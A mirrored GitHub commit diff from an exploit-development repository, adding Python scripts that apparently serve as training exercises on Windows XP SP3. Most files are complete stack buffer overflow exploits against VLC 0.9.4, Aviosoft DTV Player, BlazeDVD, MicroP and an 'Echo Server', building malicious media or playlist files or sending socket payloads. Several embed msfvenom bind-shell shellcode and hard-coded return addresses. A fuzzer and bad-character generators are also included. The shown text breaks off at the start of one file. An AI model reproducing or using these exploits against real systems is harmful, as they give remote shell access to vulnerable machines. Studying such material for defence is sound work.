mirror of
https://github.com/VoidSec/Exploit-Development
synced 2026-06-08 12:50:18 +00:00
update
This commit is contained in:
VoidSec
@@ -0,0 +1,15 @@
|
||||
#!/usr/bin/python
|
||||
import sys
|
||||
badChars = []
|
||||
for bad in sys.argv[1:]:
|
||||
badChars.append(int(bad, 0))
|
||||
counter = 0x00
|
||||
testBed = '"'
|
||||
print "[+] Generating Test Chars: "
|
||||
while counter <= 0xFF:
|
||||
if counter not in badChars:
|
||||
testBed += "\\x%02x" %counter
|
||||
counter += 1
|
||||
testBed += '"'
|
||||
print "[+] Done generating! \n\n"
|
||||
print testBed + "\n\n"
|
||||
@@ -0,0 +1,14 @@
|
||||
#!/usr/bin/python
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
buff="A"*args.pocl
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,85 @@
|
||||
"""
|
||||
Full title: VideoLAN VLC Media Player 0.9.4 TIVO Local Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com (Based on the original work of Guido Landi)
|
||||
Vendor Homepage: https://www.videolan.org
|
||||
Version: VideoLAN VLC Media Player 0.9.4
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Platform: windows
|
||||
"""
|
||||
|
||||
#!/usr/bin/python
|
||||
EIP = "\x78\x6A\x83\x7C" #Address=7C836A78 call esp | {PAGE_EXECUTE_READ} [kernel32.dll] ASLR: False, Rebase: False, SafeSEH: True, OS: True, v5.1.2600.6532 (C:\WINDOWS\system32\kernel32.dll)
|
||||
|
||||
junk = "\x90"
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00"
|
||||
shellcode=("\xba\x55\x49\x66\xbf\xdb\xd2\xd9\x74\x24\xf4\x58\x2b\xc9\xb1"
|
||||
"\x53\x83\xc0\x04\x31\x50\x0e\x03\x05\x47\x84\x4a\x59\xbf\xca"
|
||||
"\xb5\xa1\x40\xab\x3c\x44\x71\xeb\x5b\x0d\x22\xdb\x28\x43\xcf"
|
||||
"\x90\x7d\x77\x44\xd4\xa9\x78\xed\x53\x8c\xb7\xee\xc8\xec\xd6"
|
||||
"\x6c\x13\x21\x38\x4c\xdc\x34\x39\x89\x01\xb4\x6b\x42\x4d\x6b"
|
||||
"\x9b\xe7\x1b\xb0\x10\xbb\x8a\xb0\xc5\x0c\xac\x91\x58\x06\xf7"
|
||||
"\x31\x5b\xcb\x83\x7b\x43\x08\xa9\x32\xf8\xfa\x45\xc5\x28\x33"
|
||||
"\xa5\x6a\x15\xfb\x54\x72\x52\x3c\x87\x01\xaa\x3e\x3a\x12\x69"
|
||||
"\x3c\xe0\x97\x69\xe6\x63\x0f\x55\x16\xa7\xd6\x1e\x14\x0c\x9c"
|
||||
"\x78\x39\x93\x71\xf3\x45\x18\x74\xd3\xcf\x5a\x53\xf7\x94\x39"
|
||||
"\xfa\xae\x70\xef\x03\xb0\xda\x50\xa6\xbb\xf7\x85\xdb\xe6\x9f"
|
||||
"\x6a\xd6\x18\x60\xe5\x61\x6b\x52\xaa\xd9\xe3\xde\x23\xc4\xf4"
|
||||
"\x21\x1e\xb0\x6a\xdc\xa1\xc1\xa3\x1b\xf5\x91\xdb\x8a\x76\x7a"
|
||||
"\x1b\x32\xa3\x17\x13\x95\x1c\x0a\xde\x65\xcd\x8a\x70\x0e\x07"
|
||||
"\x05\xaf\x2e\x28\xcf\xd8\xc7\xd5\xf0\xf7\x4b\x53\x16\x9d\x63"
|
||||
"\x35\x80\x09\x46\x62\x19\xae\xb9\x40\x31\x58\xf1\x82\x86\x67"
|
||||
"\x02\x81\xa0\xff\x89\xc6\x74\x1e\x8e\xc2\xdc\x77\x19\x98\x8c"
|
||||
"\x3a\xbb\x9d\x84\xac\x58\x0f\x43\x2c\x16\x2c\xdc\x7b\x7f\x82"
|
||||
"\x15\xe9\x6d\xbd\x8f\x0f\x6c\x5b\xf7\x8b\xab\x98\xf6\x12\x39"
|
||||
"\xa4\xdc\x04\x87\x25\x59\x70\x57\x70\x37\x2e\x11\x2a\xf9\x98"
|
||||
"\xcb\x81\x53\x4c\x8d\xe9\x63\x0a\x92\x27\x12\xf2\x23\x9e\x63"
|
||||
"\x0d\x8b\x76\x64\x76\xf1\xe6\x8b\xad\xb1\x17\xc6\xef\x90\xbf"
|
||||
"\x8f\x7a\xa1\xdd\x2f\x51\xe6\xdb\xb3\x53\x97\x1f\xab\x16\x92"
|
||||
"\x64\x6b\xcb\xee\xf5\x1e\xeb\x5d\xf5\x0a")
|
||||
file=open("exploit.mpg","wb")
|
||||
file.write("\xF5\x46\x7A\xBD" + "\x00\x00\x00\x02" + "\x00\x02\x00\x00" + (junk * 8) + "\x00\x00\x05\x41" + (junk * 4) + "\x00\x00\x05\x49" + (junk * 60) + EIP + (junk*60)+shellcode+(junk * (130976-len(shellcode)-60)) + "\x05" + (junk * 3) + "\x05" + (junk * 1) + "\x09" + "\xc0" + (junk * 14) + "\x06" + "\xe0" + (junk * 531062))
|
||||
file.close()
|
||||
"""
|
||||
--------------------------------------------------------
|
||||
| ty.c #112 TIVO_PES_FILEID 0xf5467abd |
|
||||
--------------------------------------------------------
|
||||
| ty.c #113 TIVO_PART_LENGTH 0x20000000 |
|
||||
--------------------------------------------------------
|
||||
| ty.c #114 CHUNK_SIZE 128 * 1024 |
|
||||
--------------------------------------------------------
|
||||
| junk * 8 |
|
||||
--------------------------------------------------------
|
||||
| i_map_size |
|
||||
--------------------------------------------------------
|
||||
| junk * 4 |
|
||||
--------------------------------------------------------
|
||||
| ty.c # 1654 i_seq_table_size/(8+i_map_size)== 1 |
|
||||
--------------------------------------------------------
|
||||
| junk * 60 |
|
||||
--------------------------------------------------------
|
||||
| EIP |
|
||||
--------------------------------------------------------
|
||||
| big junk * 130976 (shellcode can fit here ) |
|
||||
--------------------------------------------------------
|
||||
| ty.c #1743 i_num_recs must be greater than 5 |
|
||||
--------------------------------------------------------
|
||||
| junk * 3 |
|
||||
--------------------------------------------------------
|
||||
| p_hdrs (x05) |
|
||||
--------------------------------------------------------
|
||||
| junk * 1 |
|
||||
--------------------------------------------------------
|
||||
| ty.c #1763 rec_type == 0x9c0 -> AC-3DTivo |
|
||||
| subrec_type (x09) |
|
||||
| rec_type (xc0) |
|
||||
--------------------------------------------------------
|
||||
| junk * 14 |
|
||||
--------------------------------------------------------
|
||||
| video type rec_type == 0x6e0 -> S1 Tivo |
|
||||
| subrec_type (x06) |
|
||||
| rec_type (xe0) |
|
||||
--------------------------------------------------------
|
||||
| big junk x 531062 |
|
||||
--------------------------------------------------------
|
||||
"""
|
||||
@@ -0,0 +1,44 @@
|
||||
"""
|
||||
Full title: Aviosoft DTV Player 1.0.0.1 Professional Local Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://www.aviosoft.com/
|
||||
Version: Aviosoft DTV Player 1.0.0.1 Professional
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
file=open("exploit.plf","wb")
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x1a"
|
||||
shellcode=("\xbe\xb2\x17\x21\x83\xd9\xc8\xd9\x74\x24\xf4\x5f\x29\xc9\xb1"
|
||||
"\x53\x31\x77\x12\x83\xc7\x04\x03\xc5\x19\xc3\x76\xd5\xce\x81"
|
||||
"\x79\x25\x0f\xe6\xf0\xc0\x3e\x26\x66\x81\x11\x96\xec\xc7\x9d"
|
||||
"\x5d\xa0\xf3\x16\x13\x6d\xf4\x9f\x9e\x4b\x3b\x1f\xb2\xa8\x5a"
|
||||
"\xa3\xc9\xfc\xbc\x9a\x01\xf1\xbd\xdb\x7c\xf8\xef\xb4\x0b\xaf"
|
||||
"\x1f\xb0\x46\x6c\x94\x8a\x47\xf4\x49\x5a\x69\xd5\xdc\xd0\x30"
|
||||
"\xf5\xdf\x35\x49\xbc\xc7\x5a\x74\x76\x7c\xa8\x02\x89\x54\xe0"
|
||||
"\xeb\x26\x99\xcc\x19\x36\xde\xeb\xc1\x4d\x16\x08\x7f\x56\xed"
|
||||
"\x72\x5b\xd3\xf5\xd5\x28\x43\xd1\xe4\xfd\x12\x92\xeb\x4a\x50"
|
||||
"\xfc\xef\x4d\xb5\x77\x0b\xc5\x38\x57\x9d\x9d\x1e\x73\xc5\x46"
|
||||
"\x3e\x22\xa3\x29\x3f\x34\x0c\x95\xe5\x3f\xa1\xc2\x97\x62\xae"
|
||||
"\x27\x9a\x9c\x2e\x20\xad\xef\x1c\xef\x05\x67\x2d\x78\x80\x70"
|
||||
"\x52\x53\x74\xee\xad\x5c\x85\x27\x6a\x08\xd5\x5f\x5b\x31\xbe"
|
||||
"\x9f\x64\xe4\x2b\x97\xc3\x57\x4e\x5a\xb3\x07\xce\xf4\x5c\x42"
|
||||
"\xc1\x2b\x7c\x6d\x0b\x44\x15\x90\xb4\x7b\xba\x1d\x52\x11\x52"
|
||||
"\x48\xcc\x8d\x90\xaf\xc5\x2a\xea\x85\x7d\xdc\xa3\xcf\xba\xe3"
|
||||
"\x33\xda\xec\x73\xb8\x09\x29\x62\xbf\x07\x19\xf3\x28\xdd\xc8"
|
||||
"\xb6\xc9\xe2\xc0\x20\x69\x70\x8f\xb0\xe4\x69\x18\xe7\xa1\x5c"
|
||||
"\x51\x6d\x5c\xc6\xcb\x93\x9d\x9e\x34\x17\x7a\x63\xba\x96\x0f"
|
||||
"\xdf\x98\x88\xc9\xe0\xa4\xfc\x85\xb6\x72\xaa\x63\x61\x35\x04"
|
||||
"\x3a\xde\x9f\xc0\xbb\x2c\x20\x96\xc3\x78\xd6\x76\x75\xd5\xaf"
|
||||
"\x89\xba\xb1\x27\xf2\xa6\x21\xc7\x29\x63\x51\x82\x73\xc2\xfa"
|
||||
"\x4b\xe6\x56\x67\x6c\xdd\x95\x9e\xef\xd7\x65\x65\xef\x92\x60"
|
||||
"\x21\xb7\x4f\x19\x3a\x52\x6f\x8e\x3b\x77")
|
||||
buffer="http://"
|
||||
buffer+="A"*253
|
||||
buffer+="\x53\x93\x42\x7E"#JMP ESP 7E429353
|
||||
buffer+="\x90"*47
|
||||
buffer+=shellcode
|
||||
buffer+="\x90"*8
|
||||
file.write(buffer)
|
||||
file.close()
|
||||
@@ -0,0 +1,43 @@
|
||||
"""
|
||||
Full title: BlazeDVD 6.1.1.6 Professional Local Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: https://www.softwarezirkel.de/
|
||||
Version: BlazeDVD 6.1.1.6 Professional
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
file=open("exploit.plf","wb")
|
||||
#bad chars \x00\x0a\x0d
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x1a"
|
||||
shellcode=("\xbe\xd3\x9a\x04\xd4\xdb\xde\xd9\x74\x24\xf4\x5b\x33\xc9\xb1"
|
||||
"\x53\x83\xeb\xfc\x31\x73\x0e\x03\xa0\x94\xe6\x21\xba\x41\x64"
|
||||
"\xc9\x42\x92\x09\x43\xa7\xa3\x09\x37\xac\x94\xb9\x33\xe0\x18"
|
||||
"\x31\x11\x10\xaa\x37\xbe\x17\x1b\xfd\x98\x16\x9c\xae\xd9\x39"
|
||||
"\x1e\xad\x0d\x99\x1f\x7e\x40\xd8\x58\x63\xa9\x88\x31\xef\x1c"
|
||||
"\x3c\x35\xa5\x9c\xb7\x05\x2b\xa5\x24\xdd\x4a\x84\xfb\x55\x15"
|
||||
"\x06\xfa\xba\x2d\x0f\xe4\xdf\x08\xd9\x9f\x14\xe6\xd8\x49\x65"
|
||||
"\x07\x76\xb4\x49\xfa\x86\xf1\x6e\xe5\xfc\x0b\x8d\x98\x06\xc8"
|
||||
"\xef\x46\x82\xca\x48\x0c\x34\x36\x68\xc1\xa3\xbd\x66\xae\xa0"
|
||||
"\x99\x6a\x31\x64\x92\x97\xba\x8b\x74\x1e\xf8\xaf\x50\x7a\x5a"
|
||||
"\xd1\xc1\x26\x0d\xee\x11\x89\xf2\x4a\x5a\x24\xe6\xe6\x01\x21"
|
||||
"\xcb\xca\xb9\xb1\x43\x5c\xca\x83\xcc\xf6\x44\xa8\x85\xd0\x93"
|
||||
"\xcf\xbf\xa5\x0b\x2e\x40\xd6\x02\xf5\x14\x86\x3c\xdc\x14\x4d"
|
||||
"\xbc\xe1\xc0\xf8\xb4\x44\xbb\x1e\x39\x36\x6b\x9f\x91\xdf\x61"
|
||||
"\x10\xce\xc0\x89\xfa\x67\x68\x74\x05\x96\x35\xf1\xe3\xf2\xd5"
|
||||
"\x57\xbb\x6a\x14\x8c\x74\x0d\x67\xe6\x2c\xb9\x20\xe0\xeb\xc6"
|
||||
"\xb0\x26\x5c\x50\x3b\x25\x58\x41\x3c\x60\xc8\x16\xab\xfe\x99"
|
||||
"\x55\x4d\xfe\xb3\x0d\xee\x6d\x58\xcd\x79\x8e\xf7\x9a\x2e\x60"
|
||||
"\x0e\x4e\xc3\xdb\xb8\x6c\x1e\xbd\x83\x34\xc5\x7e\x0d\xb5\x88"
|
||||
"\x3b\x29\xa5\x54\xc3\x75\x91\x08\x92\x23\x4f\xef\x4c\x82\x39"
|
||||
"\xb9\x23\x4c\xad\x3c\x08\x4f\xab\x40\x45\x39\x53\xf0\x30\x7c"
|
||||
"\x6c\x3d\xd5\x88\x15\x23\x45\x76\xcc\xe7\x75\x3d\x4c\x41\x1e"
|
||||
"\x98\x05\xd3\x43\x1b\xf0\x10\x7a\x98\xf0\xe8\x79\x80\x71\xec"
|
||||
"\xc6\x06\x6a\x9c\x57\xe3\x8c\x33\x57\x26")
|
||||
buffer="A"*260
|
||||
buffer+="\x53\x93\x42\x7E"#JMP ESP 7E429353
|
||||
buffer+="\x90"*40
|
||||
buffer+=shellcode
|
||||
file.write(buffer)
|
||||
file.close()
|
||||
@@ -0,0 +1,49 @@
|
||||
"""
|
||||
Full title: MicroP 0.1.1.1600 Local Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: http://sourceforge.net/projects/microp/
|
||||
Version: MicroP 0.1.1.1600
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Platform: windows
|
||||
"""
|
||||
|
||||
#!/usr/bin/python
|
||||
# EAX is pointing to buffer instead of ESP
|
||||
# Follow EAX in dump, go to location MEM addr + A (junk) offset (in hex)
|
||||
# see where the pattern is corrupted
|
||||
file=open("exploit.mppl","wb")
|
||||
|
||||
#badchar \x00\x0a\x0d
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00\x0a\x0d"
|
||||
shellcode=("\xdb\xc4\xba\x79\x94\x98\xcc\xd9\x74\x24\xf4\x5e\x29\xc9\xb1"
|
||||
"\x53\x31\x56\x17\x83\xc6\x04\x03\x2f\x87\x7a\x39\x33\x4f\xf8"
|
||||
"\xc2\xcb\x90\x9d\x4b\x2e\xa1\x9d\x28\x3b\x92\x2d\x3a\x69\x1f"
|
||||
"\xc5\x6e\x99\x94\xab\xa6\xae\x1d\x01\x91\x81\x9e\x3a\xe1\x80"
|
||||
"\x1c\x41\x36\x62\x1c\x8a\x4b\x63\x59\xf7\xa6\x31\x32\x73\x14"
|
||||
"\xa5\x37\xc9\xa5\x4e\x0b\xdf\xad\xb3\xdc\xde\x9c\x62\x56\xb9"
|
||||
"\x3e\x85\xbb\xb1\x76\x9d\xd8\xfc\xc1\x16\x2a\x8a\xd3\xfe\x62"
|
||||
"\x73\x7f\x3f\x4b\x86\x81\x78\x6c\x79\xf4\x70\x8e\x04\x0f\x47"
|
||||
"\xec\xd2\x9a\x53\x56\x90\x3d\xbf\x66\x75\xdb\x34\x64\x32\xaf"
|
||||
"\x12\x69\xc5\x7c\x29\x95\x4e\x83\xfd\x1f\x14\xa0\xd9\x44\xce"
|
||||
"\xc9\x78\x21\xa1\xf6\x9a\x8a\x1e\x53\xd1\x27\x4a\xee\xb8\x2f"
|
||||
"\xbf\xc3\x42\xb0\xd7\x54\x31\x82\x78\xcf\xdd\xae\xf1\xc9\x1a"
|
||||
"\xd0\x2b\xad\xb4\x2f\xd4\xce\x9d\xeb\x80\x9e\xb5\xda\xa8\x74"
|
||||
"\x45\xe2\x7c\xe0\x4d\x45\x2f\x17\xb0\x35\x9f\x97\x1a\xde\xf5"
|
||||
"\x17\x45\xfe\xf5\xfd\xee\x97\x0b\xfe\x01\x34\x85\x18\x4b\xd4"
|
||||
"\xc3\xb3\xe3\x16\x30\x0c\x94\x69\x12\x24\x32\x21\x74\xf3\x3d"
|
||||
"\xb2\x52\x53\xa9\x39\xb1\x67\xc8\x3d\x9c\xcf\x9d\xaa\x6a\x9e"
|
||||
"\xec\x4b\x6a\x8b\x86\xe8\xf9\x50\x56\x66\xe2\xce\x01\x2f\xd4"
|
||||
"\x06\xc7\xdd\x4f\xb1\xf5\x1f\x09\xfa\xbd\xfb\xea\x05\x3c\x89"
|
||||
"\x57\x22\x2e\x57\x57\x6e\x1a\x07\x0e\x38\xf4\xe1\xf8\x8a\xae"
|
||||
"\xbb\x57\x45\x26\x3d\x94\x56\x30\x42\xf1\x20\xdc\xf3\xac\x74"
|
||||
"\xe3\x3c\x39\x71\x9c\x20\xd9\x7e\x77\xe1\xe9\x34\xd5\x40\x62"
|
||||
"\x91\x8c\xd0\xef\x22\x7b\x16\x16\xa1\x89\xe7\xed\xb9\xf8\xe2"
|
||||
"\xaa\x7d\x11\x9f\xa3\xeb\x15\x0c\xc3\x39")
|
||||
#|NOP sled|shellcode|NOP padding|CALL EAX
|
||||
buffer="\x90"*24
|
||||
buffer+=shellcode
|
||||
buffer+="\x90"*(1276-len(buffer))
|
||||
buffer+="\x4D\xDB\x42\x00"# we should call eax/jmp eax instead of esp 0042DB4D
|
||||
file.write(buffer)
|
||||
file.close()
|
||||
@@ -4,7 +4,7 @@ Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Vendor Homepage: https://www.electrasoft.com/
|
||||
Version: 32bit FTP v.07.08.08
|
||||
Tested on: Windows XP SP3
|
||||
Category: local exploits
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
Usage: start this script (it will set-up a listening server), launch 32bit FTP and connect it to the server
|
||||
"""
|
||||
@@ -0,0 +1,27 @@
|
||||
"""
|
||||
Full title: Echo Server BadChars Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server BadChars
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\xaa\xdd"
|
||||
#bad chars 0xaa,0xdd
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
shellcode=("")
|
||||
buff="A"*1400
|
||||
buff+="\x00\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,52 @@
|
||||
"""
|
||||
Full title: Echo Server JMPESP Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server JMPESP
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00"
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
shellcode=("\xda\xc2\xd9\x74\x24\xf4\x5a\x31\xc9\xbe\x94\xa2\xf8\xda\xb1"
|
||||
"\x53\x83\xea\xfc\x31\x72\x13\x03\xe6\xb1\x1a\x2f\xfa\x5e\x58"
|
||||
"\xd0\x02\x9f\x3d\x58\xe7\xae\x7d\x3e\x6c\x80\x4d\x34\x20\x2d"
|
||||
"\x25\x18\xd0\xa6\x4b\xb5\xd7\x0f\xe1\xe3\xd6\x90\x5a\xd7\x79"
|
||||
"\x13\xa1\x04\x59\x2a\x6a\x59\x98\x6b\x97\x90\xc8\x24\xd3\x07"
|
||||
"\xfc\x41\xa9\x9b\x77\x19\x3f\x9c\x64\xea\x3e\x8d\x3b\x60\x19"
|
||||
"\x0d\xba\xa5\x11\x04\xa4\xaa\x1c\xde\x5f\x18\xea\xe1\x89\x50"
|
||||
"\x13\x4d\xf4\x5c\xe6\x8f\x31\x5a\x19\xfa\x4b\x98\xa4\xfd\x88"
|
||||
"\xe2\x72\x8b\x0a\x44\xf0\x2b\xf6\x74\xd5\xaa\x7d\x7a\x92\xb9"
|
||||
"\xd9\x9f\x25\x6d\x52\x9b\xae\x90\xb4\x2d\xf4\xb6\x10\x75\xae"
|
||||
"\xd7\x01\xd3\x01\xe7\x51\xbc\xfe\x4d\x1a\x51\xea\xff\x41\x3e"
|
||||
"\xdf\xcd\x79\xbe\x77\x45\x0a\x8c\xd8\xfd\x84\xbc\x91\xdb\x53"
|
||||
"\xc2\x8b\x9c\xcb\x3d\x34\xdd\xc2\xf9\x60\x8d\x7c\x2b\x09\x46"
|
||||
"\x7c\xd4\xdc\xf3\x74\x73\x8f\xe1\x79\xc3\x7f\xa6\xd1\xac\x95"
|
||||
"\x29\x0e\xcc\x95\xe3\x27\x65\x68\x0c\x56\x2a\xe5\xea\x32\xc2"
|
||||
"\xa3\xa5\xaa\x20\x90\x7d\x4d\x5a\xf2\xd5\xf9\x13\x14\xe1\x06"
|
||||
"\xa4\x32\x45\x90\x2f\x51\x51\x81\x2f\x7c\xf1\xd6\xb8\x0a\x90"
|
||||
"\x95\x59\x0a\xb9\x4d\xf9\x99\x26\x8d\x74\x82\xf0\xda\xd1\x74"
|
||||
"\x09\x8e\xcf\x2f\xa3\xac\x0d\xa9\x8c\x74\xca\x0a\x12\x75\x9f"
|
||||
"\x37\x30\x65\x59\xb7\x7c\xd1\x35\xee\x2a\x8f\xf3\x58\x9d\x79"
|
||||
"\xaa\x37\x77\xed\x2b\x74\x48\x6b\x34\x51\x3e\x93\x85\x0c\x07"
|
||||
"\xac\x2a\xd9\x8f\xd5\x56\x79\x6f\x0c\xd3\x89\x3a\x0c\x72\x02"
|
||||
"\xe3\xc5\xc6\x4f\x14\x30\x04\x76\x97\xb0\xf5\x8d\x87\xb1\xf0"
|
||||
"\xca\x0f\x2a\x89\x43\xfa\x4c\x3e\x63\x2f")
|
||||
|
||||
buff="A"*1036
|
||||
buff+="\x69\xf0\xde\x77"#77DEF069 check for bad chars in the addr
|
||||
buff+="\x90"*40
|
||||
buff+=shellcode
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,28 @@
|
||||
"""
|
||||
Full title: Echo Server str Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server str
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86 -b "\x00"
|
||||
|
||||
import socket, sys, argparse
|
||||
|
||||
parser = argparse.ArgumentParser(prog="exploit.py", description="Remote Exploit Framework by VoidSec")
|
||||
parser.add_argument("-t", "--target", default="127.0.0.1", dest="target", help="Target IP Address")
|
||||
parser.add_argument("-p", "--port", default=9000, type=int, dest="port", help="Target TCP Port")
|
||||
parser.add_argument("-l", "--length", default=100, type=int, dest="pocl", help="PoC Length")
|
||||
args = parser.parse_args()
|
||||
|
||||
sock=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
|
||||
sock.connect((args.target , args.port))
|
||||
shellcode=("")
|
||||
pattern="\x01\x02\x03\x04\x05\x06\x07\x08\x09\x0a\x0b\x0c\x0d\x0e\x0f\x10\x11\x12\x13\x14\x15\x16\x17\x18\x19\x1a\x1b\x1c\x1d\x1e\x1f\x20\x21\x22\x23\x24\x25\x26\x27\x28\x29\x2a\x2b\x2c\x2d\x2e\x2f\x30\x31\x32\x33\x34\x35\x36\x37\x38\x39\x3a\x3b\x3c\x3d\x3e\x3f\x40\x41\x42\x43\x44\x45\x46\x47\x48\x49\x4a\x4b\x4c\x4d\x4e\x4f\x50\x51\x52\x53\x54\x55\x56\x57\x58\x59\x5a\x5b\x5c\x5d\x5e\x5f\x60\x61\x62\x63\x64\x65\x66\x67\x68\x69\x6a\x6b\x6c\x6d\x6e\x6f\x70\x71\x72\x73\x74\x75\x76\x77\x78\x79\x7a\x7b\x7c\x7d\x7e\x7f\x80\x81\x82\x83\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96\x97\x98\x99\x9a\x9b\x9c\x9d\x9e\x9f\xa0\xa1\xa2\xa3\xa4\xa5\xa6\xa7\xa8\xa9\xaa\xab\xac\xad\xae\xaf\xb0\xb1\xb2\xb3\xb4\xb5\xb6\xb7\xb8\xb9\xba\xbb\xbc\xbd\xbe\xbf\xc0\xc1\xc2\xc3\xc4\xc5\xc6\xc7\xc8\xc9\xca\xcb\xcc\xcd\xce\xcf\xd0\xd1\xd2\xd3\xd4\xd5\xd6\xd7\xd8\xd9\xda\xdb\xdc\xdd\xde\xdf\xe0\xe1\xe2\xe3\xe4\xe5\xe6\xe7\xe8\xe9\xea\xeb\xec\xed\xee\xef\xf0\xf1\xf2\xf3\xf4\xf5\xf6\xf7\xf8\xf9\xfa\xfb\xfc\xfd\xfe\xff"
|
||||
buff="A"*1036
|
||||
buff+="BBBB"
|
||||
buff+=pattern
|
||||
sock.send(buff)
|
||||
sock.close()
|
||||
@@ -0,0 +1,51 @@
|
||||
"""
|
||||
Full title: Echo Server v2 Remote Stack Buffer Overflow
|
||||
Exploit Author: Paolo Stagno - voidsec@voidsec.com - https://voidsec.com
|
||||
Version: Echo Server v2
|
||||
Tested on: Windows XP SP3
|
||||
Category: remote exploits
|
||||
Platform: windows
|
||||
"""
|
||||
#!/usr/bin/python
|
||||
#msfvenom -p windows/shell_bind_tcp -f c -a x86
|
||||
